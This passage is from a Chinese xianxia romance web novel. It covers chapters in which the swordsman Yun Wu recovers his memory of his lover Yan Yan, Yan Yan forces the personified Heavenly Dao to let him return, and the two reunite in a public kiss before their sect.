可云梧却无端端的迫切想要在底下的人群里找到点什么。 “云少宗主, 开始了。” 旁人低声的提醒将云梧唤回。他一愣,迅速眨了眨眼, 方才后知后觉的收回视线,低声道谢。 真是奇怪了。 自己到底在找什么? 比赛进行的很顺利, 云梧毫无悬念的赢了。 他甚至连‘游龙’都没来得及使出, 不论是任赤、罗奇, 还是齐岳,都没能挺得过他的剑法。 一切的一切都是如此平顺,什么意外都没有发生。 当箐云剑横过对手的脖颈, 当云梧的名字被主持弟子高声念出,当最后一次比赛落下帷幕。 什么都没有发生。 什么都没有。 云梧木然的矗立于高台上,执剑的手轻轻垂下。 他只觉得自己的心脏被豁开一角,越扩越大,茫然不知所归,那种空落落的感觉越来越强烈,缺了什么很重要的东西。 于是他茫然无措的扫视着四周,反射性的想抓住点什么,想望向谁,想说点什么话,可到了最后,他只是缓缓地蠕动唇,喉头干涩,什么也说不出来。 他只觉得自己仿佛被一层厚重的雾笼罩,隔绝了自己和世界,眼前的一切都失真,慢放,鲜活得有些虚假。 云梧一步步僵硬的走上高台,座上的怀远剑尊笑得畅快,欣慰的拍着他的肩头,嘴里依旧是那套‘祖师爷后继有人’的说辞,周遭热烈的围来一众恭贺的修士,他们的笑脸言语重叠模糊,分明离得很近却又离得很远。 云梧晃了晃神,像是提线木偶一样的答谢自谦,可眼神飘忽不定,不知道落向哪里。 怀远剑尊一向敏锐。 他察觉到云梧的不对劲,却没有当场出声询问,而是在第三关开始前的深夜将他唤至大殿。 高座之上的怀远剑尊面露关切,他望着自己的得意弟子,即是欣慰又是担忧: “你这几天有何心事?为师见你总是一副心不在焉的模样。” 云梧被怀远剑尊戳破了心思,低下头却没有出声,只是缓缓摇了摇头,抿紧唇瓣。 怀远剑尊见状轻叹了口气,随即捋了捋胡,不放心的交代道: “你身为天命之子,虽然注定一生顺遂不会有阻碍,但还是不要掉以轻心。” “为师还是要交代你一句,这一次的比赛很重要。溯世镜是祖师爷飞升前留下的最为重要的宝物,你一定一定要拿到。” ‘溯世境’一词传入云梧耳中,让他瞬间抬起了头,望向怀远剑尊。随后很快重新低下头去,深深一拜道: “弟子遵命。” * 事实证明,怀远剑尊的担心是多余的。 第三关的归墟秘境畅行无阻。或许是因为归墟秘境是蜀山剑宗祖师爷遗留而下的缘故,云梧还遇见了位剑修石像,和它对了几招之后略有所感,连‘惊鸿’也精进了几分。 一个月的历练很快便过去,秘境结束,云梧是当之无愧的第一。 万众参赛修士们被召集到巨大的广场上。云梧一步步踏上漫长的阶梯,行至高处,顶着师长们宽慰的视线,双手珍重的接过质朴的铜镜。 溯世镜发出细微的颤动。 云梧抬眼,掠过镜壳繁复的花纹,面上没有欣喜,神色漠然。 不知是谁起了头,恭维称赞道: “云少宗主不愧是当世第一的天才,天下小辈无人能够与之争锋。” “的确如此,这场大会也是毫无悬念的由云少宗获胜。蜀山剑宗真是有福了。” 众人的碎碎细语一字不落传入云梧的耳中。 每一句话,每一个字眼,每一套说辞,云梧都在他以往的人生里听了无数遍,熟悉得不能再熟悉,熟悉得让云梧生出了一丝陌生的情绪。 是这样的吗? 云梧缓缓抬起眼帘。熟悉的,令他感到恐慌的空落感再次席卷而来,紧攥住他的心脏,扼住他的咽喉,让他说不出应和的话,好像,好像有什么东西出了差错…… 云梧的瞳孔瞬间紧缩,猛地低头盯紧了手里的溯世境。下一瞬,周遭的声音被隔在一层厚重的透明隔阂之外,唯有手中溯世境颤动得越来越厉害,越来越厉害—— “徒儿?” 是怀远剑尊的声音。 云梧这才猛然惊醒,抬起眼,背后早已汗涔涔,像刚从水里捞起来的。 对上怀远剑尊欲言又止的眼睛,云梧佯装镇静的眨眼,又重新装作一番什么都没有发生过的模样。 当天晚上,云梧再次陷入梦魇。 这一次的梦很清晰。 梦里有座皑皑的雪山,漫天的白雪覆盖住一重又一重无穷无尽的山头。 熟悉的身影在前头走,云梧亦步亦趋的在后边跟。雪很厚,云梧每一脚都陷得极深,灵于是行动迟缓,废了很大的劲才勉强跟上前人的脚步。 云梧尝试着张嘴,想要祈求他停下。 可是那人越走越急,越走越轻盈。乌黑的长发被随手束起,利落的盘在脑后,露出雪白纤长的脖颈,他没有回头,因此云梧看不清他的脸,更不知道他叫什么名字。 只能看见他手拿纤长的竹枝,以木作剑,随手挽花,劈开一道凌厉的剑风。 于是满山的雪便扑簌簌的滚落,越滚越大,越滚越大,铺天盖地的雪色涌来,逐渐把云梧吞噬。 云梧惊醒了。 他睁着眼,盯着竹舍的房顶,急促的喘气。 怪异的湿濡感黏在眼角,冰凉凉,并不好受。云梧抬起手,怔然的用指腹去摸。是一团泪渍。 云梧久久的盯着指腹处的水渍,困惑的蹙眉。 怎么又哭了。 这时屋外传来呼唤: “师弟,师弟?” 云梧定了定神,意识到是三青鸟在唤他,于是起身着衣,飞速的推开房门。 三青鸟站在雪地里,她不着痕迹的打量云梧,斟酌片刻,开口道: “师弟,听闻你马上就要离宗历练了?” 云梧心不在焉的点头,应道: “是,打算在外头闭关历练数百年再回宗。” 三青鸟了然的点了点头,又道:“你身为少宗主,剑尊嘱咐你要将宗内事务打理好再走。” 说着,她略一迟疑,瞧了眼云梧不算好的面色: “你要是急着走,今天就可以去。” 云梧垂下眼,干脆的答应了。 怀远剑尊是个剑痴,沉迷于各路剑法以及筹集资金给祖师庙翻新和建新的祖师庙。怀清剑尊不遑多让,喜欢暴力练剑,砍碎了不少宗内财物。 云梧需得在离开前将宗内的财物打理好,免得怀远怀清两个剑尊将剑宗搞的负债累累。 这一路走,云梧低头翻看着账本,头胀得疼。 “师尊怎么偷偷花了这么多钱?” 三青鸟无奈摇头:“你又不是不知道你师尊的秉性。一有闲钱就建庙翻新,七座山头每一座都要被修满了,还在修。最近他还把最大的那一座庙重新翻修了,就是火翎峰山头那座。” 说着,她遥遥指向前方:“瞧,离你还挺近。修缮的动静那么大,你平日里难道没注意吗?也不制止一下你师尊……” 云梧顺着她指着的方向望去,手下动作停住。他望着山巅巍峨耸立的庙宇,久久才出声道: “我确实没注意。” 三青鸟闻言,狐疑的瞥了眼云梧。想说什么,但出于礼节还是咽了回去,转而提议道: “那就顺路先去那吧。你好好掂量一下修缮还需多少灵石,别让你师尊花多了。” 云梧低声应好,可眉头紧皱,视线还是紧紧锁在远处的庙宇之上,看都不看三青鸟一眼,不知道在思索什么。 三青鸟无奈耸肩,带路朝着庙宇处走去。 剑宗开山祖师信徒众多,剑宗当今宗主怀远剑尊也很舍得花钱,于是这座庙宇自然是建得恢弘壮阔。 上好的玉砖开路,劈开雪色。一路直指庙宇高大的朱红大门,厚重的门扉需得两侧侍候的弟子合力才能推开。 琉璃瓦晶莹剔透,内里则是宽阔空旷的大殿,重重白幔垂落,遮住里头高大的神龛。 云梧在殿前站定,扫视了一圈,眉头皱得更紧。 奇怪,奇怪。 为什么他会觉得这里应该是一座废墟?为什么他会觉得祖师爷庙不应该存在呢? 云梧盯着这座大殿出神,不自觉的问道: “原来祖师爷真的存在么……” 三青鸟闻言,终于按耐不住用奇怪的眼神望向云梧: “你是不是修炼修傻了?最近怎么这么奇怪?” 不知何时,山头开始下雪了,雪花纷纷,漫天飞舞。擦过翘起的檐角,平铺的砖瓦,落向云梧的肩头。 云梧反射性的低头去擦,那头三青鸟还在埋怨: “这你都能忘?祖师爷不仅存在,还是和你一样的九阳剑骨呢。” 雪下得大了,风也跟着起来。风刃凛冽的刮着雪花,使得它们凌乱的飘。 三青鸟在碎碎念,云梧低头赶雪。 温热的指腹擦过雪花,很快使它融化,化为水渍融在掌心。 只听三青鸟吐槽够了云梧,又话锋一转,似乎为了避讳,特意压低了嗓子,道: “对了,我这几日翻看宗内秘笈发现了个新东西。” “听闻这祖师爷原来在飞升圆寂之前还有个俗世名,还挺好听的,像个叠词。叫……” 与此同时,最后一点儿雪花也被掌心的温度融化,云梧抬起头,风卷进大殿,神龛前白幔轻扬,露出半寸神面。 “宴焱。” 云梧听见自己的心跳漏了一拍。 第88章 泪 云梧滞在原地。 面前的神像表情漠然, 无悲无喜的垂眼望苍生,手中一柄木枝作剑,乌发高束, 眉目生艳。 三青鸟还在絮絮叨叨:“祖师爷没有本命剑, 已经练成万物为剑的境界, 对了, 你那招‘游龙’不也是祖师爷真传精髓么,你……” 云梧却什么也听不进去,如同被摄了魂, 怎么动也动不了。 明明是从未见过的长相, 明明是从没听过的名字。 他手脚冰凉,面色蓦地苍白,心脏被牢牢攥紧。 三青鸟见他长时间没有动作,面露疑惑的瞥了眼云梧,想出声询问,却被云梧骤然死灰的表情吓到了, 半晌说不出话。 好半会儿, 云梧才缓过神, 僵硬的转过头道: “师姐,我有些不舒服。” 三青鸟很有眼色的点头说好, 随后匆匆找了个借口离开。 宽广的庙宇里岑寂冷清,唯有云梧一人沉默的矗立在原地, 仰着头, 望向漠然而立的神像。 一像一人, 两相对立。 庙外的大雪越下越大,逐渐覆盖住殿前高高的阶梯,刺骨的冷风穿进庙中, 打在云梧的脊背之上,明明冷极了,云梧却觉得浑身发烫。 他僵硬的去摸自己的额头,指尖发抖,指腹处也一片滚烫。 奇怪。 他发烧了。 修士的体魄一向强悍,云梧剑体双修,发热对他来说是个很陌生的词汇。 可或许是今日的雪来得实在急,又或许是其他别的原因,烧热来得气势汹汹,几乎要把云梧压垮。 云梧不受控的跌倒在面前的蒲团上,靠着神像,沉沉的合上眼。 身上冷热交替,云梧本能想靠近点热源,他手指撑开,拼尽全力妄图去够到什么,可惜庙中再无他人,有的只是一尊冰冷俯视的神像。 热气撺掇了云梧的神智,将他又一次拖进梦魇中。 这一次的梦真实又生动。 梦里青年有着一张和祖师爷一样的脸,他们是如此的亲密,以至于云梧能清楚的看清他生气时的眉目凌厉,动情时的凤眸潋滟。 漂亮匀称的身体在他的掌心之下翻转折叠,没有高高在上的俯视,也没有漠然的神情,有的只是连青年自己也察觉不到的柔情。 双手颤抖,云梧在梦中不自觉的向前伸,想要揽过什么。 那是一个他做过无数次的,熟稔至极的动作。 梦中人近在咫尺,可迎接他的不是温热的怀,而是冰冷的神像。 云梧哆嗦着,像是梦魇,又像是情难自已: “焱焱,焱焱……” 他遍遍呢喃,仿佛这样就能把人留下。 * 庙外的雪下了一夜又一夜。 这场毫无预兆的雪居然持续了这么久,不免叫人疑心老天是不是得了失心疯。 庙里的云梧蜷缩在地,他紧紧挨着冰冷神像,挣扎着睁开眼。 没有,什么也没有。 没有熟悉的温度,没有熟悉的身影。云梧僵硬的抬头望去,对上一双熟悉得不能再熟悉的凤眸。 神像依旧矗立,万年前是这样的,万年后也依旧是这样的。那双凤眸垂眼望着云梧,如同以前那样,可眼底分明波澜不惊,注视着云梧,也注视着天下万生。 云梧此刻对他来说,不过是万年来茫茫苍生中的一位罢了。 巨大的惶恐攥紧了云梧的心脏,叫他控制不住的发抖。 他哆嗦着站起身,面色发白,挣扎着要去触摸神像,连声唤道: “焱焱,焱焱……” “怎么会这样,怎么会这样?” 可神像终究是死物,不管云梧如何呼唤,玉石铸成的美人面上依旧毫无波澜,漠然依旧。 泪水蜂拥而下,云梧直起身拥住神像一角,他很用力,粗粝的玉石外表狠狠磨过掌心和指腹,渗出点点猩红的血,印在莹白的玉石之上,刺眼至极。 怎么会这样呢? 明明他马上就能让焱焱松口和他永远在一起了。 云梧站起,又不受控的跌跪在神像脚下,大滴大滴的泪水滑落,让他的双手不住的颤抖的从怀里掏出什么。 “对了,溯世镜……溯世境!!” 只要扭转溯世镜,他就能回到焱焱那个时代,就可以和焱焱重新相遇…… 铜镜被云梧牢牢攥紧,指节用力得泛白。云梧的手颤得不成样子,嘴里念着灵诀,逼出心头血去浇灌溯世镜。 溯世镜有两面,每一面都有铜盖附着,只要他扭动了铜盖使得它们相反、同时以心头血浇灌,就可以见到焱焱了! 云梧期望而虔诚的盯着溯世境。 一秒,两秒,三秒…… 什么都没发生。 “为什么,为什么会这样?” 云梧面色唰得变得更白,只觉得心口发慌,连手脚都冰冷得发麻。 他不可置信的再一次尝试,这一次的心头血如同潮涌,濡湿了大片的布料,镜盖也被一遍又一遍的扭合盖隆。 还是什么都没发生。 溯世镜的使用办法云梧是绝对不会记错的,可任凭他怎么尝试,怎么扭动,心头血不要命一般的滴落,溯世境还是静静的躺在那,没有一点儿响动。 ‘哐啷’一声。 血流得太多太多,云梧的指缝间都沾满了血,他一个晃神,溯世境便狠狠的跌落在地,发出清脆的响动。 云梧立刻跪地去捡起,但捧起镜子的手直抖,踉跄之下,溯世境一次又一次的滑落。 “还有办法的,一定还有办法的。” 云梧神色癫狂的念念。 忽地,他想起什么,直起身,将溯世境揣回怀中,朝着外头飞快踉跄走去。 冥界的往生河! 世间万物,除了他手头上的溯世境,能扭转时空的也就只有乘着沿着那往生河顺流而下了。 这方法世人皆知,没人敢试,无非是因为往生河中冤魂众多。若无鬼役驱使,生灵冒然进入河内往往是神魂具散的下场。 但云梧管不了这么多了。 他跌跌撞撞的往外走,也不顾自己满身的血了,箐云剑顺势腾空起,朝着冥界冲去。 箐云剑掠过冥界宽广的上空,如同巨龙般盘旋的往生河流缓缓浮现。无数冤魂被云梧的气息引来,咆哮着想要将这胆大妄为的生灵吞噬,但剑气无情,很快便被云梧尽数斩灭。 “骨舟呢?骨舟呢?” 一落地,云梧便发了疯般搜寻过往的骨舟。 有鬼役乘着骨舟经过,很快被云梧用剑气拦下。鬼役并不是他的对手,一剑下去,拦着云梧路的鬼役便被分成了两半。 见此情形,往生河发了怒,涛水雄浑的涌起,江水瞬间起伏不定,妄图掀翻小小骨舟。往生河中四起的冤魂眼冒寒光,只只利爪探来,想要刮下修士的皮肉,尝尝生灵的味道, 但云梧统统没理。 他只是自顾自的望着下游的方向,用箐云剑做桨,拼命划动江水,向下游流去。 过往江水滔滔,白浪滚滚。从江底攀上的冤魂一个接着一个,它们扒着骨舟的底,骨舟的船檐,密密麻麻的利爪袭来,大张着的、冒着涎水的嘴巴对准云梧。 剑气一遍遍的扫过,不少冤魂跌落,但还是有漏网之鱼爬上船,利爪刺破肌肉,留下道道深可见骨的伤,猩红的血液从伤口中喷涌而出,吸引了更多更疯狂的冤魂扑来。 可云梧不怕疼似的,任由鲜血横流,手下划桨的力道越来越重。 回去,他要回去。 他要回到焱焱身边。 但事与愿违。 云梧发了疯一样的举动没有让时间倒流,反而是引来了怀远剑尊和怀清剑尊。 他们联手才将固执的云梧从骨舟中拖出,看着满身伤痕,气息奄奄的徒弟,怀远剑尊面色发白,气得胡须直抖: “你是疯了吗?找死呢??” 可云梧听不进话了。 他只是哆嗦着,双眼无神的遍遍重复着一个人名。 怀远剑尊面色不善的凑近去听,只听见云梧的声音直抖,念得似乎是‘宴焱’二字。 宴焱?不是祖师爷的名讳吗? 怀远剑尊眉头一松,哼哼道: “你小子,平日里没见对祖师爷如此尊敬。如今犯了错,居然也知道叫祖师爷来救命。不愧是我徒儿。” 说着,怀远剑尊利落的给云梧喂了一颗保命丹药。反正他徒弟皮糙肉厚,又有天道眷顾,再怎么折腾也不会丢命。 疗完伤,怀远剑尊又便大手一挥,将云梧丢到祖师爷庙反省禁足。 云梧一路被两位剑尊用灵力封住穴位,逃脱不得,但眼神却倔强得很,庙的大门闭上,云梧便又强撑着身体去攻破结界。 两个剑尊联手设下的结界哪是那么容易破开的? 数次试图冲破无果后,云梧猛地吐了口血,踉跄坐在地。 “焱焱,焱焱。” 他失神的唤着,膝行了几步,随即又倒在神像之下,唇齿发抖。 血水还在流淌,竟是连玄衣都收不住蔓延的鲜血。 面庞黏腻,云梧反射性的抬手去擦,低头一看,不是血,是自己湿濡的泪。 云梧愣愣的,又抬头去看那垂眸的神面,机械性的重复念道: “焱焱。焱焱。” 可下一瞬,那本该漠然平静的神面却洇出了道湿痕。 是一滴晶莹的泪。 第89章 弑天 神域宽广, 是一方纯白无人的空间。作为万众生灵敬仰之地,此时的气氛却紧绷至极。 宴焱正和面前的天道对峙。 说是天道,实则是一团不大不小的雷云, 细小的紫色雷电缠绕在云朵之中, 刺啦刺啦冒着细小的雷光。 此时它遥遥悬停在半空, 与宴焱两相对立, 僵持不下。 宴焱冷眼瞧着眼前陌生的东西,终的开口打破长久僵局: “我再说一次,我要回去。” 雷云动了, 它身上的电流闪得愈发厉害。 “不行!你想回去做什么?!你不能回去!!” 宴焱被它问得烦了, 眉头蹙起: “没那么多为什么。” 天道见状,不依不饶的逼近,周身的雷光闪烁得愈发猛烈: “你好好照着你既定的命运不行吗,为什么非要和他凑一起??” “登顶六界之巅,剑道圆满,飞升成神。这样的命运你还有什么不满足的?!” 天道的质问铿锵有力, 它的声音一声比一声高, 一声比一声尖锐, 直逼宴焱。 但宴焱却蹙眉,直视天道, 理直气壮: “你没见他哭了吗?” 简短一句,却将天道噎住。 雷云半晌说不出话, 只是上上下下, 左左右右的晃了一圈, 继而才又恨铁不成钢的逼问: “哭哭哭,哭又怎么了,你有那么多小弟, 他们哭了你怎么不回去??” 宴焱理所当然:“云梧自然和他们不一样。” “那你甘愿放弃你的九阳剑骨??你回去了,你的剑骨就保不住了!” “这可是千万生灵都求之不得的绝佳根骨!” 天道身上的雷纹炸起,整团云膨胀,说话的声音愈发尖锐。 宴焱没着它的道,只是眉头皱得更紧,凤眼不耐的眯起,冷笑道: “你说错了。” “是我成就了九阳剑骨,而非九阳剑骨成就了我。” 宴焱的话语一刻不停,同时抬脚,缓步逼近雷云,手缓缓握紧,一柄细长的灵鞭逐渐成型。 天道惊疑不定的看着宴焱手中的灵鞭,几乎是下意识的往后缩了缩。 “管他九阳剑骨还是九转灵体,我身上的根骨是什么,什么就是好的。” 宴焱皮笑肉不笑的抬手,一张美人面笑得森然。手中握着的灵鞭短柄一下又一下、不轻不重的敲着雷云,凤眸垂落,盯着眼前色厉内荏的天道,轻声道: “我才是主角。” 硬质的鞭柄敲击着云体,陷下又弹起。此间宴焱早已成神,神格中摄出的威压如巨浪压境,缓缓逼迫着天道后退。 身上是鞭柄毫不留情的敲打,又有铺天盖地淹来的威压,天道步步被逼到角落,迫使着它崩溃出声道: “云梧为什么值得你这么做??你不会是喜欢——” 没等天道声嘶力竭的喊完,宴焱先行轻描淡写的抬起下巴: “是,我喜欢他。那又如何?” 几字犹如千斤重,砸在了天道的身上。 云体剧烈膨胀又猛地收缩,雷纹暴躁的轰然裂开,天道抖得不成样子,几乎要破音: “不行,不行!!这里可是某点!!你休想!” “一山不容二虎,一文不容二男主,你们不可以共存!不可以!这是规矩,这是规矩!!” 可宴焱却没理会天道的威胁,腕间一震,手中灵鞭顿时抽开,眉间挑起,戏谑落在天道因愤怒而涨大的云体之上,随着破空声,鞭尾精准的劈落在云体的正中间—— ‘刺啦’一声。 天道虎躯一震,云体光洁的表面瞬间裂开一道深缝。 “你在干什么!!我警告你,我可是天道,我可是天道!” 天道凄厉的叫喊着,雷纹愈发涨大,企图吓退步步紧逼的宴焱。 但很显然,它失败了。 天道虽说是世界意志的化身,但终归是抵不过身为世界中心、又已经飞升成神的男主。 更何况,这可是某点。区区弑天,在这里可算不上什么奇事。 天道也意识到了这一点。 它哆嗦着看着眉眼微眯的宴焱,想起自己下场凄惨的同事,眼前阵阵发黑。 “你要,你要干什么?我警告你,别想对我做什么,剧本里没写啊……” 迎接它的是迅猛的破空声。 由灵气化作的灵鞭绷直鞭身,拉出一道弯弓状的圆弧,利落的击中方才开裂的云体上,眼见又豁开一道大口。 “什么规矩什么剧本?” 宴焱嗤笑,手上动作一刻不停。 “规矩就是用来打破的。” 随着接连不断的鞭响,宴焱雪白的手腕高高扬起又落下,天道被抽得四处窜,但还是没能逃开虎口。 最后一声脆响落下,云体彻底轰然开裂。 一个圆溜溜的光球从云体中漏出,随即‘扑通’一下掉在地上,光球之后还张了个短小的翅膀,很快开始拼命的扑腾,可惜圆体肥硕,根本跑不动。 宴焱轻起挑眉。 天道的真身居然和系统长得这样像。不过想想也是,同为意志产生的个体,共用同一个模板倒也说得通。 对付这样的圆溜溜的东西宴焱经验丰富,很快手一掐,就捏住了天道背后的短翅。 天道见自己吓唬人用的云体掉了,急得‘叽叽’直叫,眼泪都要流下了。 “你要干什么,你要干什么,我才是天道啊叽!!!” 宴焱好整以暇的盯着眼前嘴硬的胖球,细长的手指捏紧,胖球也跟着被掐紧,泄出大团的肉,叫声也跟着急促: “叽叽叽叽男主你放手,放手!!!” 宴焱挑眉,继续逼问: “改不改?” 天道嘴硬:“不改不改不改我就不改叽叽叽。” “好啊。”宴焱笑得见牙不见眼,只是右手高高举起,在天道惊恐的注视下,灵鞭迅速放大,随即毫不留情的抽下。 只听‘啪’的一声脆响,白浪翻滚,圆球表面瞬间肿起一圈鞭痕。 “死天道,我让你离间!” “让你给我使绊子!” 又是一鞭,宴焱恶声恶气:“我让你弄哭他!” 天道被抽得直‘嗷嗷’叫,泪水不要命的咕咚而出,还嘴道:“他爱哭关我啥事啊,谁知道他能哭成这样,你不打他打我做什么?” 宴焱见天道还在还嘴,下手更狠了: “谁说的算?” “谁的规矩好使??” 灵鞭鞭身细长,宴焱又没收力道的揪着一处猛抽,更是让天道痛不欲生,它一边拼命挥舞短翅企图往外飞,一边开始嗷嗷叫着求饶: “我错了我错了,你的规矩好使,你的规矩好使!!” 宴焱没有因为天道一时的服软而停手,又猛地抽了几鞭子: “还容不容二男主了??” 天道一边哭一边大声喊:“容容容容!!祖宗你快停手吧,我求你了,疼疼疼——” 它挣扎着往外飞,又被宴焱掐回来。 “我马上转组,我马上转组还不行吗?” 见逃脱无果,天道转动身体,谄媚道:“我给你转绿江,你俩不在某点呆了,保证你俩好好的,我求求你放过我吧,我都一把年纪了……” 宴焱垂下眼,若有所思的转动手中鞭柄。 察觉到面上袭来的鞭风一顿,天道这才敢睁开哭肿的眼,乘胜追击的求饶: “我马上就让你回去成不,祖宗,老祖宗,我算是求您了,放我一条命吧。” “我再也不敢乱劈雷劫了……叽叽叽叽。” 天道蜷缩成一团,哭得稀里哗啦,好不可怜。 宴焱见目的达成,大发慈悲的收手,拍了拍天道的脑袋,将它掐至眼前,一字一顿,笑眯眯道: “既然如此,那还不快点?” 天道也算是怕了这煞神了,连滚带爬的从宴焱掌心中爬起,撑开自己的短翅,指着宴焱手里的溯世镜,讪讪道: “您也转动这镜子就能回去了。” 宴焱将信将疑的抬手,随即轻轻扭动溯世境的镜盖。 天道没敢骗他。 光洁的镜面之中瞬间爆发出剧烈的白光,覆盖住手上的天道,宴焱的身体,将一切的一切吞噬殆尽。 * 宴焱只觉得眼皮一沉,手上忽然抵住了什么硬邦邦的东西。 再一摸,过分的熟悉,甚至还有沉沉的草木味。 宴焱不用抬头就知道是谁。 对方也僵直在原地,但两只大手下意识的攀上宴焱的肩头,腰肢,仿佛在确认着什么,哆嗦的触摸着。 “焱焱?” 声音沙哑,尾音也在抖。 宴焱睁开眼,外界的光亮瞬间涌入眼中,他眨了眨眼,适应着光线,眼前那张放大的俊脸也逐渐清晰。 是云梧。 但他如今算得上可怜又滑稽,眼圈红肿,脸上还有洇湿的泪痕,一见宴焱抬起头,方才消下去的泪又涌了上来,他立刻低下头,紧紧拥住怀里的宴焱,指节扣住,隐隐泛白。 “焱焱,是你,我终于……” 高大的剑修近乎压不住喉头的哽咽,收紧臂弯。 “终于见到你了。” 云梧的怀抱沉而闷,放在往常,宴焱肯定要挣扎一番,再说一些诸如‘兄弟要有边界’之类的话。 但这一次,宴焱没有挣脱,额头抵着云梧的怀,垂下眼。顺从的抬起手,慢吞吞的,一下又一下的抚着云梧的脊背。 “嗯,我在这呢。” 第90章 当众出柜 察觉到白腕轻轻搭上自己的后颈, 云梧手下抱得愈发紧,几乎要把人融入骨肉。 宴焱也任由他紧拥,任由他垂下头, 任由薄凉的唇小幅度的啄吻过宴焱的眉眼, 确认着怀中人的温度。 不再是冰冷的神像, 而是切切实实的焱焱。 豆大的泪水不受控的滴落, 溅落在宴焱的肩头,温温热,混杂着云梧难捱的吐息。 “焱焱……” 云梧的手不住的摩挲, 确认着怀中人的存在, 大手攀过薄肩,划过脊梁,绕开腰肢,上上下下左左右右都要仔仔细细确认过一遍,缠得宴焱都快吐不过来气。 “好了好了,我不是在这吗?” 宴焱感知到云梧又将要决堤的情绪, 忙是出声安抚他。 但这并没有让云梧的情绪收敛, 反而愈发的膨胀。 他下意识的收拢手臂, 宴焱只觉得自己的脸贴上了一块硬邦邦的肌肉,为了不让自己被堵得彻底透不过气, 他只得尽力的抬头,望向云梧。 云梧此时早就不知天南地北, 他的脑子一片轰隆隆, 既是欣喜又是后怕。所以一对上宴焱的凤眸, 云梧便彻底把持不住,哽咽出声: “可是焱焱,我差点以为我永远见不到你了。” 他的话音在抖, 手也在抖。 神像是那样的冰冷,和焱焱的温热一点儿也不一样。冷得云梧骨头都泛凉,心脏也跟着发冷收缩,痛得几乎要碎开。 云梧实在太害怕了。 因为害怕,所以畏手畏脚,因为害怕,所以患得患失。 宴焱一言不发,他沉默的望着云梧红肿的眼圈,望着云梧眼底的恐惧,抿紧唇肉,他忽地伸手,摁住云梧的头。 “闭眼。” 宴焱的声音很轻,却不容置喙。 云梧脑子还在发愣,闻言,还没反应过来宴焱要做什么,呆呆的听话垂头,又困惑的望向宴焱。 可紧接着,云梧只觉得自己的唇一热,有什么温软的东西贴了上来。 云梧的瞳孔猛的一缩,没来得及听话闭眼,那张美人面在他眼前放大又放大,清香扑鼻来,唇上的温热也开始发烫。 焱焱亲他了。 云梧脑子轰隆一声,什么理智什么节制,统统都没有了。 他只知道焱焱的唇很软很软,湿湿热热的,还有甜味。温软的唇肉把他迷得五迷三道的,明明吻的是唇舌,云梧却无端端的感觉自己惊惧的心也被这一吻融化了,心尖不再惊惶,反而开始冒起了甜水。 云梧短暂的傻了几秒,很快就夺回了主动权。 他欣喜又捉急的衔住唇肉,索取里头的温度,宴焱被吻得头昏脑涨,但念起云梧可怜泛红的眼圈,又只得咬牙坚持,任由云梧胡乱的吻。 唇齿相缠,水乳交融。 正当宴焱被云梧吻得快要缺氧发昏的时候,只听一声重重的道‘扑通’—— 宴焱好像意识到了什么,猛然睁开凤眸,手下一推,颇有些慌忙的往一旁看。 他方才只顾着哄云梧,居然、居然…… 忘了他们还在问心台崖巅了。 果不其然,宴焱惊惶的一转头,撞上了无数双同样惊惶的眼睛。 怀远剑尊捋胡的动作僵住,眼睛瞪圆,手上还有几根硬生生拔下来的胡子;奕四差点提不住手中重剑,‘扑通’一声跪地上;怀清剑尊本抽着长烟,见状烟柄一抖,差点烧了她的眉毛;三青鸟笑得见牙不见眼,连扑来的重剑都没看到,摔了个底朝天…… 还有其余众修士,各个瞪眼张口,抻直脖子。一时间,崖巅聚集的数万修士都陷入了诡异的沉默。 在一片尴尬的静谧中,有一个人忽地动了。 是问心尊者。 他以自身元神作为燃料叩请天道下场,早就已经是垂死之人。本来口吐鲜血的倒在一旁,见了如今这一幕,忽地瞪圆了眼,回光返照一般的爬起身,伸出手,指着已经亲得不知天地为何物的俩人,手指哆哆嗦嗦。 “你……你……” 问心尊者的脸涨成猪肝色,‘你你你’了好半天,最后什么也说不出,只是忽地张口,吐出了大口鲜血,溅落在雪地之上。随即眼睛一翻,一闭,便直挺挺的倒了下去。 白虎作为他的契约兽如今也是奄奄一息。它见主人彻底断了气,摇了摇尾巴,慢吞吞的抬眸看了俩人一眼,竟是口吐人言,叹道: “唉,断袖。唉,男同。” 说罢,它也干脆利落的往雪地里一躺,放弃挣扎。 只是那‘断袖’‘男同’四字,吐字清晰,声音洪亮,响彻在沉默的崖巅,久久回荡。 宴焱只觉得自己的脸皮都烧了起来。 他想开口解释点什么,但他一转身,众人的目光都跟着他,一伸手,又免不了碰到云梧的胸肌,那一声洪亮的‘断袖男同’又在脑海中重复播放。 宴焱:……坏了。 “那、那个。” 在一众人齐齐的注视下,宴焱艰难的开口: “你们听我解释。”他真的不是断袖。 尽管宴焱满头汗,绞尽脑汁的想张唇论证自己还是直男的可能性,可他的唇张了又张,却舌尖打顿,吐不出一个字。 亲也亲了,该做的也都做过了,还不止一次,怎么洗? 宴焱绝望的一闭眼。 更何况,自己似乎……还真喜欢上了云梧。 “解释什么?” 怀清剑尊倒是很冷静,她不慌不忙的抹去脸上沾染的烟灰,慢吞吞道:“解释就是掩饰。” “你们就是有一腿。” 剑尊张钉截铁的话语一出,本来还诡异沉默的人群登时如同被点燃的炸药,瞬间炸开了锅。 夭寿了!天塌了!六界出大爆闻了! ——俩势同水火的天命之子居然是断袖!!还在众目睽睽之下搞在一起了!! 奕四也圆睁着眼,喃喃自语道: “我去。不愧是少宗主。”解决宿敌的方式也是如此的别具一格。 黄苏也抻直了舌头,半晌才反应过来: “我靠,男同啊。” 三青鸟好不容易从土里直起身,摸着自己撞得淤青的头,得意的直哼哼: “我就说他们俩不清白。你们还不信。” 系统瞪着眼,无助的跌坐在地上,整个胖球都要裂开,发出尖锐爆鸣: “啊啊啊啊啊啊啊啊啊啊啊——” 宴焱就这么眼睁睁的看着整个崖巅乱成了一锅粥。 就在他无助的张张嘴又动动手,无措的想要做点什么时,云梧却动了。 他顺势将人摆正,不管不顾的、当着几万双眼睛的面,又亲了上去。 这一次的吻来得气势汹汹,宴焱彻底束手无策,任由云梧深入搅和,唇齿间的水液相缠。在万众瞩目之下,两具身体再次紧贴相拥,不分你我。 “我爱你。” 宴焱听见云梧的掷地有声。 耳边是万人八卦的人声鼎沸,眼前是崖巅白茫茫的雪,可宴焱此时却听不清也看不见其他,只有云梧震耳欲聋的心跳和那一声坚定的—— ‘我爱你。’ 宴焱慢吞吞低下头,用额头抵住云梧因紧张而绷紧的胸膛,忽地吐了口气。 算了,断袖就断袖吧。 